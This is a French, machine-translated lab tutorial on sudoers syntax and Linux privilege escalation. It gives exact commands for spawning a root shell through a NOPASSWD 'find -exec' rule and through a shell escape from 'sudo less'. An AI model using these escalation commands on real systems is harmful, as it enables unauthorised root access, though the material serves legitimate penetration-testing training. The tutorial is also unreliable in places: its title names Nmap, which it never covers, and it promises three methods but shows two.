Apprendre les méthodes d'élévation de privilèges Sudo dans Nmap

Beginner

💡 Ce tutoriel est traduit par l'IA à partir de la version anglaise. Pour voir la version originale, vous pouvez cliquer ici

Introduction

Dans ce laboratoire, vous apprendrez la syntaxe du fichier de configuration sudo et pratiquerez trois méthodes courantes pour monter en privilèges via des vulnérabilités ou des mauvaises configurations de sudo. L'objectif est de mieux comprendre comment exploiter sudo pour monter en privilèges lors d'un test de pénétration.


Skills Graph

Syntaxe du fichier de configuration sudo

Dans cette étape, vous apprendrez la syntaxe du fichier /etc/sudoers, qui est utilisé pour configurer les privilèges sudo.

Le fichier /etc/sudoers est utilisé pour spécifier quels utilisateurs ou groupes peuvent exécuter des commandes avec des privilèges élevés. Pour afficher et enregistrer le contenu du fichier /etc/sudoers, exécutez la commande suivante :

sudo cat /etc/sudoers | grep root > /home/labex/project/sudoers.txt

La sortie devrait ressembler à ce qui suit :

## Ce fichier DOIT être édité avec la commande 'visudo' en tant que root.
## Cela conserve les paramètres de proxy des environnements utilisateur de root
## Bien que vous ne devriez normalement pas exécuter git en tant que root, vous devez le faire avec etckeeper
## Préférences par utilisateur ; root n'aura pas de valeurs sensées pour elles.
root    ALL=(ALL:ALL) ALL
## Les membres du groupe admin peuvent obtenir les privilèges root

Cette ligne spécifie que l'utilisateur root peut exécuter n'importe quelle commande en tant que n'importe quel utilisateur ou groupe sur tous les hôtes.

La syntaxe générale pour une entrée sudoers est :

user_or_group_name  host_list=(run_as_user:run_as_group)  command_list
  • user_or_group_name : L'utilisateur ou le groupe auquel la règle s'applique.
  • host_list : L'hôte (ou les hôtes) sur lequel (ou lesquels) la règle s'applique. La valeur ALL signifie tous les hôtes.
  • run_as_user : L'utilisateur dont les privilèges sont utilisés pour exécuter la commande. La valeur ALL signifie n'importe quel utilisateur.
  • run_as_group : Le groupe dont les privilèges sont utilisés pour exécuter la commande. La valeur ALL signifie n'importe quel groupe.
  • command_list : La (ou les) commande(s) que l'utilisateur ou le groupe est autorisé à exécuter.

Sudo permet l'élévation de privilèges sans restrictions d'arguments

Dans cette étape, vous pratiquerez l'élévation de privilèges en exploitant des mauvaises configurations de sudo qui permettent d'exécuter n'importe quelle commande avec des privilèges élevés.

  1. Tout d'abord, ouvrez un terminal et accédez au répertoire /home/labex/project.

    cd /home/labex/project
  2. Initialisez l'environnement en exécutant la commande suivante :

    ./env_setup_1.sh
  3. Vous êtes maintenant connecté en tant qu'utilisateur user001.

    Utilisez la commande sudo -l pour vérifier vos privilèges sudo :

    sudo -l
    (root) NOPASSWD:/usr/bin/find

    Cela signifie que vous pouvez exécuter la commande find avec les privilèges root sans mot de passe.

  4. Pour monter en privilèges, exécutez :

    sudo find /home -exec /bin/bash \;

    Vous devriez maintenant avoir un shell root.

  5. Créez un fichier nommé success_1.txt dans le répertoire /root pour vérifier que vous avez les privilèges root :

    echo "success_1" | sudo tee /root/success_1.txt

    Vérifiez le fichier en exécutant :

    cat /root/success_1.txt

    La sortie devrait être success_1.

Sudo permet l'élévation de privilèges avec des arguments de commande spécifiques

Dans cette étape, vous pratiquerez l'élévation de privilèges en exploitant des mauvaises configurations de sudo qui permettent d'exécuter des commandes spécifiques avec des privilèges élevés.

Après l'étape précédente, vous êtes toujours connecté en tant qu'utilisateur root. Pour poursuivre cette étape, vous devez fermer le terminal actuel et en ouvrir un nouveau.

  1. Tout d'abord, ouvrez un terminal et accédez au répertoire /home/labex/project.

    cd /home/labex/project
  2. Initialisez l'environnement en exécutant la commande suivante :

    ./env_setup_2.sh
  3. Vérifiez vos privilèges sudo avec sudo -l :

    sudo -l

    Sortie attendue :

    (root) NOPASSWD: /bin/less /var/log/messages

    Cela signifie que vous pouvez exécuter la commande /bin/less /var/log/messages avec les privilèges root sans mot de passe.

  4. Pour monter en privilèges, exécutez :

    sudo less /var/log/messages

    Une fois dans le visualiseur less, exécutez :

    !/bin/bash

    Vous devriez maintenant avoir un shell root.

  5. Créez un fichier nommé success_2.txt dans le répertoire /root pour vérifier que vous avez les privilèges root :

    echo "success_2" | sudo tee /root/success_2.txt

    Vérifiez le fichier en exécutant :

    cat /root/success_2.txt

    La sortie devrait être success_2.

Résumé

Dans ce laboratoire, vous avez appris la syntaxe du fichier /etc/sudoers et comment configurer les privilèges sudo. Vous avez également pratiqué trois méthodes courantes pour monter en privilèges via des mauvaises configurations ou des vulnérabilités de sudo. En comprenant comment exploiter sudo pour monter en privilèges, vous pouvez mieux évaluer et atténuer les risques de sécurité potentiels dans les systèmes Linux.